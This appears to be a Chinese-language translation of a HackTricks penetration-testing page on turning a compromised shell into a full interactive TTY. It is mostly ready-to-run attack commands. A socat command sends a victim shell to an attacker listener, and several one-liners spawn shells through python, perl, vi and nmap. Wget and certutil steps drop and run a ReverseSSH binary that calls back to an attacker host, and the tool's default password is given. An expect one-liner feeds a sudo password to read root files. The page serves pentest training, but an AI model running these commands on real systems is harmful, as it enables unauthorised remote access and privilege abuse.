hacktricks/generic-methodologies-and-resources/shells/full-ttys.md

5.5 KiB
Raw Blame History

完整的TTY

{% hint style="success" %} 学习并练习AWS黑客技术HackTricks培训AWS红队专家ARTE
学习并练习GCP黑客技术HackTricks培训GCP红队专家GRTE

支持HackTricks
{% endhint %}

完整的TTY

请注意,在SHELL变量中设置的shell必须在_/etc/shells_中列出,或者SHELL变量的值未在/etc/shells文件中找到此事件已被报告。另外请注意下面的代码片段仅在bash中有效。如果您在zsh中请在通过运行bash获取shell之前切换到bash。

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} 您可以执行**stty -a来获取行数列数数字** {% endhint %}

脚本

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

生成shell

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

反向SSH

一个方便的方式,用于交互式shell访问,以及文件传输端口转发是将静态链接的ssh服务器ReverseSSH放到目标机器上。

以下是针对x86架构使用upx压缩二进制文件的示例。对于其他二进制文件请查看发布页面

  1. 在本地准备捕获ssh端口转发请求

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux目标

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Windows 10目标对于早期版本请查看项目自述

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • 如果ReverseSSH端口转发请求成功您现在应该能够使用默认密码letmeinbrudipls登录,登录用户为运行reverse-ssh(.exe)的用户:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

没有 TTY

如果由于某种原因无法获得完整的 TTY仍然可以与期望用户输入的程序进行交互。在以下示例中,密码被传递给 sudo 以读取文件:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

{% hint style="success" %} 学习并练习AWS HackingHackTricks 培训 AWS 红队专家 (ARTE)
学习并练习GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}